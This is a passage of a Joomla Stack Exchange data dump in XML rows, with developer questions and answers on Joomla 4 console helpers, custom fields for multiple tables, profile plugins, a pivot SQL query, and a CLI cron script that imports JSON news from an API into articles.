Joomla\CMS\Factory;&#xA;use Joomla\Console\Command\AbstractCommand;&#xA;use Symfony\Component\Console\Input\InputArgument;&#xA;use Symfony\Component\Console\Input\InputInterface;&#xA;use Symfony\Component\Console\Output\OutputInterface;&#xA;use Symfony\Component\Console\Style\SymfonyStyle;&#xA;use JLoader;&#xA;&#xA;class MyconsoleCommand extends AbstractCommand&#xA;{&#xA;    # some console boilerplate is here, removed for brevity&#xA;&#xA;    protected function doExecute(InputInterface $input, OutputInterface $output): int&#xA;    {&#xA;        # some console boilerplate is here, removed for brevity&#xA;        JLoader::register('myhelper', 'templates/mytemplate/html/myhelper.php'); &#xA;        $test = myhelper::tester(&amp;quot;galopin&amp;quot;);&#xA;        $symfonyStyle-&amp;gt;text('test: ' . $test);&#xA;        return 0;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This code comes back with &lt;code&gt;[Error] Class &amp;quot;Joomla\Plugin\System\myconsole\Console\myhelper&amp;quot; not found&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="5376" LastEditorUserId="5376" LastEditDate="2022-01-24T19:30:54.010" LastActivityDate="2022-01-27T07:09:29.933" Title="Loading a helper file in Joomla 4" Tags="|joomla-4.x|joomla-4|cli|namespace|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31869" PostTypeId="1" CreationDate="2022-01-24T18:26:45.370" Score="1" ViewCount="82" Body="&lt;p&gt;I'm trying to use custom fields on my component. That works fine so far, but I have multiple data structures (tables) in my component, where I want custom fields to work.&lt;/p&gt;&#xA;&lt;p&gt;Everything works when applying to one table of the component and hard coding the context like default Joomla components do it.&lt;/p&gt;&#xA;&lt;p&gt;As far as I see in preinstalled Joomla components like &amp;quot;com_content&amp;quot; or &amp;quot;com_contact&amp;quot; custom fields can only be applied to the base row structure of that component.&lt;/p&gt;&#xA;&lt;p&gt;So how can I apply custom fields to multiple tables if my component uses multiple different database tables to store data, like &amp;quot;customers&amp;quot; and &amp;quot;objects&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;I did the helper for my component like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\Helper\ContentHelper;&#xA;use Joomla\CMS\Component\ComponentHelper;&#xA;&#xA;class MycompHelper extends ContentHelper&#xA;{&#xA;    public static $extension = 'my_comp';&#xA;&#xA;    public static function addSubmenu($vName)&#xA;    {&#xA;        // this is done to be able to switch context for different tables&#xA;        $type = Factory::getApplication()-&amp;gt;input-&amp;gt;get('context', 'my_comp');&#xA;&#xA;        if (ComponentHelper::isEnabled('com_fields') &amp;amp;&amp;amp; $type) {&#xA;            JHtmlSidebar::addEntry(&#xA;                Text::_('JGLOBAL_FIELDS'),&#xA;                'index.php?option=com_fields&amp;amp;context='.$type,&#xA;                $vName == 'fields.fields'&#xA;            );&#xA;            JHtmlSidebar::addEntry(&#xA;                Text::_('JGLOBAL_FIELD_GROUPS'),&#xA;                'index.php?option=com_fields&amp;amp;view=groups&amp;amp;context='.$type,&#xA;                $vName == 'fields.groups'&#xA;            );&#xA;        }&#xA;    }&#xA;&#xA;    public static function getContexts()&#xA;    {&#xA;        Factory::getLanguage()-&amp;gt;load('my_comp', JPATH_ADMINISTRATOR);&#xA;&#xA;        $contexts = array(&#xA;            'my_comp.object'    =&amp;gt; Text::_('OBJECT'),&#xA;            'my_comp.customer' =&amp;gt; Text::_('CUSTOMER')&#xA;        );&#xA;&#xA;        return $contexts;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It works, but when returning from editing a group, the context is lost. Joomla handles return from field editing different from group editing. Field editing keeps the context in the post, while it is getting lost in group editing  and the default value &amp;quot;my_comp&amp;quot; is not enough to work.&lt;/p&gt;&#xA;&lt;p&gt;So what did i miss, getting custom fields to work with multiple tables of my component. How to set it up, so different tables can use different custom groups and fields?&lt;/p&gt;&#xA;" OwnerUserId="15761" LastActivityDate="2022-02-04T11:57:12.213" Title="Custom fields for different table structures in custom component" Tags="|custom-component|custom-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31870" PostTypeId="2" ParentId="14100" CreationDate="2022-01-25T09:01:27.570" Score="0" Body="&lt;p&gt;I have the same issue, moved Joomla 3 from subfolder to the root but the tabs in administrator don't work. Did not find any solution, tried all mentioned above. The only solution for me - change the debug in configuration and set the css for the debug on website to not be visible... Nothing else worked for me and I dont dare to upgrade now :D&lt;/p&gt;&#xA;" OwnerUserId="16057" LastActivityDate="2022-01-25T09:01:27.570" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31871" PostTypeId="2" ParentId="31866" CreationDate="2022-01-25T09:42:39.963" Score="0" Body="&lt;p&gt;I think you just need to pass the &lt;code&gt;$article&lt;/code&gt; parameter in as a reference.  Add a &lt;code&gt;&amp;amp;&lt;/code&gt; before the &lt;code&gt;$article&lt;/code&gt; variable in the function call.&lt;/p&gt;&#xA;&lt;p&gt;So, to change...&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentAfterSave($context, $article, $isNew)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;...to...&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentAfterSave($context, &amp;amp;$article, $isNew)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2022-01-25T09:42:39.963" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31872" PostTypeId="2" ParentId="31861" CreationDate="2022-01-25T10:01:07.073" Score="1" Body="&lt;p&gt;This may be an issue with the filter value, either in the field plug-in settings, or in the settings.&lt;/p&gt;&#xA;&lt;p&gt;The editor field type has four options for filter:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No&lt;/li&gt;&#xA;&lt;li&gt;Raw&lt;/li&gt;&#xA;&lt;li&gt;SafeHTML&lt;/li&gt;&#xA;&lt;li&gt;Text&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Perhaps try setting the filter to &amp;quot;Raw&amp;quot; and see if this still happens.  The default is 'Text' in Joomla 4.&lt;/p&gt;&#xA;&lt;p&gt;The editor field plug-in settings look like this, see the Filter field:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CD4ts.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CD4ts.png&quot; alt=&quot;Field plug-in settings&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The editor field settings look like this, see the Filter field:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fWoue.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fWoue.png&quot; alt=&quot;Field settings&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2022-01-25T10:01:07.073" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31873" PostTypeId="2" ParentId="31868" CreationDate="2022-01-25T15:25:23.837" Score="0" Body="&lt;p&gt;I am fairly new to Joomla 4 development so please bear that in mind, but if you change your namespace to the following it should get it working:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Joomla\Plugin\System\MyConsole\Console;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I've amended the capitalisation in the above to conform to PSR-1 naming standards and your class name should be altered to MyHelper for the same reason. That should get picked up by the autoloading so you'll be able to bring your helper in via the 'use' statements at the top of your MyConsoleCommand class rather than using &lt;code&gt;JLoader::register&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;E.g.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\Plugin\System\MyConsole\Console\MyHelper&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then call your helper function with&#xA;&lt;code&gt;MyHelper::tester(&amp;quot;galopin&amp;quot;);&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Fingers crossed, that'll work for you.&lt;/p&gt;&#xA;" OwnerUserId="15973" LastEditorUserId="12352" LastEditDate="2022-01-26T20:53:47.537" LastActivityDate="2022-01-26T20:53:47.537" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31874" PostTypeId="2" ParentId="30337" CreationDate="2022-01-25T18:09:25.463" Score="0" Body="&lt;p&gt;This was caused by the Litespeed cache plugin &lt;a href=&quot;https://github.com/litespeedtech/lscache-joomla/issues/42&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/litespeedtech/lscache-joomla/issues/42&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2022-01-25T18:09:25.463" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31875" PostTypeId="2" ParentId="31671" CreationDate="2022-01-25T22:28:23.007" Score="1" Body="&lt;p&gt;Looking at the API code for com_content it seems to just pass the data back to the com_content model/article in the Admin directory so I would think it would be triggering the same plugin.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-01-25T22:28:23.007" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31876" PostTypeId="1" AcceptedAnswerId="31880" CreationDate="2022-01-26T04:15:28.733" Score="1" ViewCount="56" Body="&lt;p&gt;I have a custom profile plugin to extend user profile data.  I want to add a switch to hide all BUT the core group of fields when the user checks and edits their profile.&#xA;In my plugin (profileabc.php) file, within the function I have the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentPrepareForm(Form $form, $data)&#xA;{&#xA;    // Check we are manipulating a valid form.&#xA;    $name = $form-&amp;gt;getName();&#xA;    &#xA;    $limit_pw = $this-&amp;gt;params-&amp;gt;get('limit_pw', 0);&#xA;&#xA;    if ($limit_pw) &#xA;    {&#xA;        $fsets = $form-&amp;gt;getFieldsets();&#xA;        foreach ($fsets as $fgroup) &#xA;        {&#xA;            if ($fgroup !== 'core') &#xA;            {&#xA;                $form-&amp;gt;removeGroup($fgroup);&#xA;            }&#xA;        }&#xA;&#xA;        // do nothing regarding the custom profile data&#xA;        return true;&#xA;    } ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This works brilliantly except, the custom fields group/s remain exposed and accessible.  Any guidance appreciated.  Cheers.&lt;/p&gt;&#xA;" OwnerUserId="1985" LastActivityDate="2022-01-27T06:37:07.127" Title="J4 - Custom Profile Plugin - Hiding Groups" Tags="|plugin|user|custom-field|joomla-4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31877" PostTypeId="2" ParentId="31797" CreationDate="2022-01-26T23:25:28.843" Score="1" Body="&lt;p&gt;To better understand your scenario, I've created &lt;a href=&quot;https://www.db-fiddle.com/f/nrDG5StEdHpKjhyRDHedRA/0&quot; rel=&quot;nofollow noreferrer&quot;&gt;this db-fiddle&lt;/a&gt; with your sample data and made a basic SQL query to display the JOINed data as a tabular result set.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT u.id, u.name, u.email, ugm.group_id, .f.title, fv.value&#xA;FROM lmnop_users              AS u&#xA;JOIN lmnop_user_usergroup_map AS ugm ON u.id = ugm.user_id&#xA;JOIN lmnop_fields_values      AS fv  ON u.id = fv.item_id&#xA;JOIN lmnop_fields             AS f   ON fv.field_id = f.id&#xA;WHERE ugm.group_id = {your group id}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Using LEFT JOINs on the &lt;code&gt;#_fields_values&lt;/code&gt; and &lt;code&gt;#__fields&lt;/code&gt; tables will be advisable if it is ever possible that you have users with no records in these tables AND you still want to present these users' rows.&lt;/p&gt;&#xA;&lt;p&gt;For your dynamic pivot, you can pre-fetch all &lt;code&gt;#__fields&lt;/code&gt; titles, and create a pivot query on the fly in PHP.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$titleQuery = $db-&amp;gt;getQuery(true);&#xA;$titleQuery-&amp;gt;select('title')-&amp;gt;from('#__fields');&#xA;$db-&amp;gt;setQuery($titleQuery);&#xA;$fieldsTitles = $db-&amp;gt;loadColumn();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;then&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('u.id, u.name, u.email');&#xA;foreach ($fieldsTitles as $title) {&#xA;    $query-&amp;gt;select(&#xA;        sprintf(&#xA;            &amp;quot;COALESCE(MAX(IF(f.title = %s, fv.value, NULL)), '') AS %s,&#xA;            $db-&amp;gt;q($title),&#xA;            $db-&amp;gt;qn($title)&#xA;        )&#xA;    );&#xA;}&#xA;$query&#xA;    -&amp;gt;from($db-&amp;gt;qn('#__users', 'u'))&#xA;    -&amp;gt;join('INNER', '#__user_usergroup_map m ON m.user_id = u.id')&#xA;    -&amp;gt;join('INNER', '#__fields_values     fv ON fv.item_id = u.id')&#xA;    -&amp;gt;join('INNER', '#__fields             f ON fv.field_id = f.id')&#xA;    -&amp;gt;where('m.group_id = ' . (int)$group)&#xA;    -&amp;gt;group('u.id, u.name, u.email')&#xA;    -&amp;gt;order('u.name ASC');&#xA;$db-&amp;gt;setQuery($query);&#xA;return $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This should group, flatten, and coalesce all missing values to a default empty string.  Despite not actually testing the above code, I expect it to return this result -- &lt;a href=&quot;https://www.db-fiddle.com/f/nrDG5StEdHpKjhyRDHedRA/1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.db-fiddle.com/f/nrDG5StEdHpKjhyRDHedRA/1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;If it is possible that your project will have rows in the &lt;code&gt;#__fields_values&lt;/code&gt; table that doesn't relate to your users, then you'll need to filter the title fetching query.  Alternatively, there is nothing wrong with grabbing my very first (non-pivot) query, extracting all of the unique title values from the verbose result set, then iterating your result set to manually group and flatten your results and pushing default values into every new user encountered using the unique titles array.&lt;/p&gt;&#xA;&lt;p&gt;p.s. In your PHP code, remember to wrap your table alias string in quotes so that your PHP code compiles.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2022-01-26T23:25:28.843" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31878" PostTypeId="1" CreationDate="2022-01-27T00:32:23.393" Score="1" ViewCount="374" Body="&lt;p&gt;I have the following PHP code working to bulk add array items from JSON to com_content. The code is executed by directly accessing the file in the web browser. For example, &lt;a href=&quot;http://examples.com/json-articles.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://examples.com/json-articles.php&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if (!defined( '_JEXEC' )) {&#xA;  define( '_JEXEC', 1 );&#xA;  define( 'JPATH_BASE', realpath(dirname(__FILE__)));&#xA;  require_once ( JPATH_BASE .'/includes/defines.php' );&#xA;  require_once ( JPATH_BASE .'/includes/framework.php' );&#xA;  defined( 'DS' ) or define( 'DS', DIRECTORY_SEPARATOR );&#xA;}&#xA;$app = JFactory::getApplication( 'site' );&#xA;&#xA;$curl = curl_init();&#xA;curl_setopt_array($curl, array(&#xA;  CURLOPT_URL =&amp;gt; 'https://api.dtn.com/publishing/news/articles?categoryId=16%2C17%2C18&amp;amp;limit=3&amp;amp;maxAge=30&amp;amp;apikey=placeholder',&#xA;  CURLOPT_RETURNTRANSFER =&amp;gt; true,&#xA;  CURLOPT_ENCODING =&amp;gt; '',&#xA;  CURLOPT_MAXREDIRS =&amp;gt; 10,&#xA;  CURLOPT_TIMEOUT =&amp;gt; 0,&#xA;  CURLOPT_FOLLOWLOCATION =&amp;gt; true,&#xA;  CURLOPT_HTTP_VERSION =&amp;gt; CURL_HTTP_VERSION_1_1,&#xA;  CURLOPT_CUSTOMREQUEST =&amp;gt; 'GET',&#xA;));&#xA;$json = curl_exec($curl);&#xA;curl_close($curl);&#xA;&#xA;$data = json_decode($json, true);&#xA;&#xA;foreach ($data as $value) {&#xA;  $articleData = array(&#xA;    'id' =&amp;gt; 0,&#xA;    'catid' =&amp;gt; 8,&#xA;    'title' =&amp;gt; ucwords(strtolower($value['title'])),&#xA;    'alias' =&amp;gt; '',&#xA;    'introtext' =&amp;gt; strip_tags($value['storySummary']),&#xA;    'fulltext' =&amp;gt; strip_tags($value['content']),&#xA;    'state' =&amp;gt; 1,&#xA;    'access' =&amp;gt; 2,&#xA;    'created_by' =&amp;gt; 332,&#xA;    'language' =&amp;gt; '*'&#xA;  );&#xA;  $articleId = createArticle($articleData);&#xA;&#xA;  if(!$articleId) {&#xA;    echo JText::_('Article(s) could not be created.');&#xA;  }&#xA;}&#xA;&#xA;function createArticle($data) {&#xA;  $data['rules'] = array(&#xA;    'core.edit.delete' =&amp;gt; array(),&#xA;    'core.edit.edit' =&amp;gt; array(),&#xA;    'core.edit.state' =&amp;gt; array(),&#xA;  );&#xA;&#xA;  $basePath = JPATH_ADMINISTRATOR . '/components/com_content';&#xA;  require_once $basePath.'/models/article.php';&#xA;  $config = array();&#xA;  $articleModel = new ContentModelArticle($config);&#xA;&#xA;  if(!$articleModel-&amp;gt;save($data)) {&#xA;    $errMsg = $articleModel-&amp;gt;getError();&#xA;    return false;&#xA;  } else {&#xA;    $id = $articleModel-&amp;gt;getItem()-&amp;gt;id;&#xA;    return $id;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now I am needing to convert it to a CLI app that can be executed at a set time everyday using a CRON job. I have reviewed existing CLI scripts in the CLI directory and have coded the following so far. I used this &lt;a href=&quot;https://joomla.stackexchange.com/questions/5359/create-categories-subcategories-and-articles-using-php/5361#5361&quot;&gt;Joomla StackExchange post&lt;/a&gt; and started with the &lt;code&gt;garbagecron.php&lt;/code&gt; CLI script as references.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package    Joomla.Cli&#xA; *&#xA; * @copyright  (C) 2012 Open Source Matters, Inc. &amp;lt;https://www.joomla.org&amp;gt;&#xA; * @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;/**&#xA; * A command line cron job to bulk import JSON data into Joomla articles&#xA; */&#xA;&#xA;// Initialize Joomla framework&#xA;const _JEXEC = 1;&#xA;&#xA;// Load system defines&#xA;if (file_exists( dirname(__DIR__) . '/defines.php' ) ) {&#xA;  require_once dirname(__DIR__) . '/defines.php';&#xA;}&#xA;&#xA;if (!defined( '_JDEFINES' )) {&#xA;  define( 'JPATH_BASE', dirname(__DIR__) );&#xA;  require_once JPATH_BASE . '/includes/defines.php';&#xA;}&#xA;&#xA;if (!defined( '_JEXEC' )) {&#xA;  define( '_JEXEC', 1 );&#xA;  define( 'JPATH_BASE', realpath(dirname(__FILE__)));&#xA;  require_once ( JPATH_BASE .'/includes/defines.php' );&#xA;  require_once ( JPATH_BASE .'/includes/framework.php' );&#xA;}&#xA;&#xA;// Get the framework.&#xA;require_once JPATH_LIBRARIES . '/import.legacy.php';&#xA;&#xA;// Bootstrap the CMS libraries.&#xA;require_once JPATH_LIBRARIES . '/cms.php';&#xA;&#xA;/**&#xA; * CLI script to bulk import JSON data into Joomla articles.&#xA; *&#xA; * @since  2.5&#xA; */&#xA;class BulkArticles extends JApplicationCli {  &#xA;  public function doExecute() {&#xA;    $this-&amp;gt;out(JText::_('Start'));&#xA;&#xA;    // Fetch the JSON data&#xA;    $jsonData = $this-&amp;gt;fetchData();&#xA;&#xA;    // Run the insertArticle bulk data import to articles function&#xA;    $this-&amp;gt;insertArticle($jsonData);&#xA;    &#xA;    $this-&amp;gt;out(JText::_('Complete'));&#xA;  }&#xA;&#xA;  private function fetchData() {&#xA;    $curl = curl_init();&#xA;    curl_setopt_array($curl, array(&#xA;      CURLOPT_URL =&amp;gt; 'https://api.dtn.com/publishing/news/articles?categoryId=16%2C17%2C18&amp;amp;limit=10&amp;amp;maxAge=30&amp;amp;apikey=placeholder',&#xA;      CURLOPT_RETURNTRANSFER =&amp;gt; true,&#xA;      CURLOPT_ENCODING =&amp;gt; '',&#xA;      CURLOPT_MAXREDIRS =&amp;gt; 10,&#xA;      CURLOPT_TIMEOUT =&amp;gt; 0,&#xA;      CURLOPT_FOLLOWLOCATION =&amp;gt; true,&#xA;      CURLOPT_HTTP_VERSION =&amp;gt; CURL_HTTP_VERSION_1_1,&#xA;      CURLOPT_CUSTOMREQUEST =&amp;gt; 'GET',&#xA;    ));&#xA;    $json = curl_exec($curl);&#xA;    curl_close($curl);&#xA;&#xA;    $data = json_decode($json, true);&#xA;    return $data;&#xA;  }&#xA;&#xA;  private function insertArticle($data) {&#xA;    foreach ($data as $value) {&#xA;      // Outputs expected results from JSON data&#xA;      // echo($value['title']);&#xA;      // echo(&amp;quot;&amp;lt;br/&amp;gt;&amp;quot;);&#xA;      // echo($value['storySummary']);&#xA;      // echo(&amp;quot;&amp;lt;br/&amp;gt;&amp;quot;);&#xA;      // echo($value['content']);&#xA;      // echo(&amp;quot;&amp;lt;br/&amp;gt;&amp;quot;);&#xA;      $articleData = array(&#xA;        'id' =&amp;gt; 0,&#xA;        'catid' =&amp;gt; 8,&#xA;        'title' =&amp;gt; ucwords(strtolower($value['title'])),&#xA;        'introtext' =&amp;gt; strip_tags($value['storySummary']),&#xA;        'fulltext' =&amp;gt; strip_tags($value['content']),&#xA;        'state' =&amp;gt; 1,&#xA;        'access' =&amp;gt; 2,&#xA;        'created_by' =&amp;gt; 332,&#xA;        'language' =&amp;gt; '*'&#xA;      );&#xA;&#xA;      $data['rules'] = array(&#xA;        'core.edit.delete' =&amp;gt; array(),&#xA;        'core.edit.edit' =&amp;gt; array(),&#xA;        'core.edit.state' =&amp;gt; array(),&#xA;      );&#xA;  &#xA;      $basePath = JPATH_ADMINISTRATOR . '/components/com_content';&#xA;      require_once $basePath.'/models/article.php';&#xA;      $config = array();&#xA;      $articleModel = new ContentModelArticle($config);&#xA;  &#xA;      if(!$articleModel-&amp;gt;save($data)) {&#xA;        $errMsg = $articleModel-&amp;gt;getError();&#xA;        return false;&#xA;      } else {&#xA;        $id = $articleModel-&amp;gt;getItem()-&amp;gt;id;&#xA;        return $id;&#xA;      }&#xA;  &#xA;      echo 'Article created';&#xA;    }&#xA;  }&#xA;}&#xA;JApplicationCli::getInstance('BulkArticles')-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update - Sample JSON data&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[&#xA;  {&#xA;    &amp;quot;id&amp;quot;: &amp;quot;fbb0427e-7529-4a74-b390-87bc21330068__2556796&amp;quot;,&#xA;    &amp;quot;links&amp;quot;: {&#xA;      &amp;quot;article&amp;quot;: {&#xA;      &amp;quot;href&amp;quot;: &amp;quot;/publishing/news/articles/fbb0427e-7529-4a74-b390-87bc21330068__2556796&amp;quot;&#xA;      }&#xA;    },&#xA;    &amp;quot;title&amp;quot;: &amp;quot;DTN Closing Livestock Comments&amp;quot;,&#xA;    &amp;quot;subTitle&amp;quot;: &amp;quot;Lower Trend Blankets Livestock Futures Ahead of Close&amp;quot;,&#xA;    &amp;quot;storySummary&amp;quot;: &amp;quot;&amp;lt;span class=\&amp;quot;news_summary_content\&amp;quot;&amp;gt;As the markets head into the last trading day of the week, they're hopeful that more support will push the contracts higher ahead of the weekend.&amp;lt;/span&amp;gt;&amp;quot;,&#xA;    &amp;quot;publishDate&amp;quot;: &amp;quot;2022-01-27T22:21:00Z&amp;quot;,&#xA;    &amp;quot;product&amp;quot;: null,&#xA;    &amp;quot;author&amp;quot;: {&#xA;      &amp;quot;name&amp;quot;: &amp;quot;ShayLe Stewart&amp;quot;&#xA;    },&#xA;    &amp;quot;thumbNailImage&amp;quot;: {&#xA;      &amp;quot;name&amp;quot;: &amp;quot;2020closinglivestock.jpg&amp;quot;,&#xA;      &amp;quot;imageUrl&amp;quot;: &amp;quot;https://www.dtnpf.com/mydtn-public-core-portlet/servlet/GetStoredImage?category=CMS&amp;amp;symbolicName=2020closinglivestock.jpg&amp;quot;,&#xA;      &amp;quot;caption&amp;quot;: &amp;quot;(DTN file photo)&amp;quot;&#xA;    },&#xA;    &amp;quot;cmsCategoryId&amp;quot;: null,&#xA;    &amp;quot;dtnpfUrl&amp;quot;: &amp;quot;https://www.dtnpf.com/agriculture/web/ag/news/article/2022/01/27/lower-trend-blankets-livestock-ahead&amp;quot;,&#xA;    &amp;quot;language&amp;quot;: &amp;quot;en&amp;quot;,&#xA;    &amp;quot;topic&amp;quot;: &amp;quot;DTN/Ag/Livestock&amp;quot;,&#xA;    &amp;quot;content&amp;quot;: &amp;quot;&amp;lt;span class=\&amp;quot;news_summary_content\&amp;quot;&amp;gt;As the markets head into the last trading day of the week, they're hopeful that more support will push the contracts higher ahead of the weekend.&amp;lt;/span&amp;gt;&amp;quot;,&#xA;    &amp;quot;status&amp;quot;: null,&#xA;    &amp;quot;audioLinks&amp;quot;: null,&#xA;    &amp;quot;mediaLinks&amp;quot;: null&#xA;  },&#xA;  {&#xA;    &amp;quot;id&amp;quot;: &amp;quot;07027E30&amp;quot;,&#xA;    &amp;quot;links&amp;quot;: {&#xA;      &amp;quot;article&amp;quot;: {&#xA;        &amp;quot;href&amp;quot;: &amp;quot;/publishing/news/articles/07027E30&amp;quot;&#xA;      }&#xA;    },&#xA;    &amp;quot;title&amp;quot;: &amp;quot;Canadian Agriculture PM News&amp;quot;,&#xA;    &amp;quot;subTitle&amp;quot;: &amp;quot;Canadian Agriculture PM News&amp;quot;,&#xA;    &amp;quot;storySummary&amp;quot;: &amp;quot;&amp;lt;p class=\&amp;quot;news_content\&amp;quot;&amp;gt;Canadian Financial Close: Loonie hits three-week low\nBy MarketsFarm&amp;lt;/p&amp;gt;&amp;quot;,&#xA;    &amp;quot;publishDate&amp;quot;: &amp;quot;2022-01-27T21:35:42Z&amp;quot;,&#xA;    &amp;quot;product&amp;quot;: null,&#xA;    &amp;quot;author&amp;quot;: null,&#xA;    &amp;quot;thumbNailImage&amp;quot;: null,&#xA;    &amp;quot;cmsCategoryId&amp;quot;: null,&#xA;    &amp;quot;dtnpfUrl&amp;quot;: &amp;quot;&amp;quot;,&#xA;    &amp;quot;language&amp;quot;: &amp;quot;en&amp;quot;,&#xA;    &amp;quot;topic&amp;quot;: &amp;quot;DTN/Ag&amp;quot;,&#xA;    &amp;quot;content&amp;quot;: &amp;quot;\n&amp;lt;div style=\&amp;quot;background:#FFFFFF\&amp;quot;&amp;gt;\n      Canadian Financial Close: Loonie hits three-week low\n      By MarketsFarm\n      WINNIPEG, Jan. 27 (MarketsFarm) - The Canadian dollar fell \nto its lowest level in three weeks the day after the Bank of \nCanada (BoC) announced it was holding its key interest rate at \n0.25 per cent.\n     The loonie was at US$0.7867 or US$1=C$1.2712 on Thursday, \ndown from Wednesday's close of US$0.7933 or US$1=C$1.2606. Both \nthe BoC and the United States Federal Reserve announced on \nWednesday they were keeping their interest rates steady for the \ntime being, but both signaled increases to counter inflation in \nthe coming months.\n     A strengthening greenback allowed the U.S. Dollar Index to \njump 1.30 of a point to 97.25, its highest level since June \n2020.\n     Benchmark crude oil prices were down on Thursday. Brent \ncrude oil slipped US$0.18 per barrel to US$89.78. West Texas \nIntermediate (WTI) crude oil dropped US$0.30 to US$87.05/barrel. \nWestern Canadian Select (WCS) crude oil increased US$0.64 at \nUS$74.27/barrel. \n     The TSX/S&amp;amp;amp;P Composite Index declined 51.78 points to \n20,544.11.\n     Gold nosedived US$35.50 per ounce to US$1,796.50, \ncontinuing its drop after the Fed's announcement.\n     Canada's agricultural sector fared as follows:\n\nFarmer's Edge Inc.               dn  $ 0.01     at $  2.76\nLinamar Corp.                    up  $ 1.15     at $ 69.07\nMaple Leaf Foods                 up  $ 0.09     at $ 29.55\nNutrien Ltd.                     dn  $ 0.44     at $ 88.31\nRitchie Bros Auctioneers Inc.    dn  $ 1.52     at $ 73.74\n     \n     (All figures are in Canadian dollars.)\n     END\n\n\n&amp;lt;/div&amp;gt;\n&amp;quot;,&#xA;    &amp;quot;status&amp;quot;: null,&#xA;    &amp;quot;audioLinks&amp;quot;: null,&#xA;    &amp;quot;mediaLinks&amp;quot;: null&#xA;  }&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Any help or tips is greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="8253" LastEditorUserId="8253" LastEditDate="2022-01-28T03:32:34.750" LastActivityDate="2022-02-04T03:48:53.467" Title="Execute Joomla CLI script to bulk import JSON data to articles" Tags="|php|articles|com-content|json|cli|" AnswerCount="3" CommentCount="13" ContentLicense="CC BY-SA 4.0" />
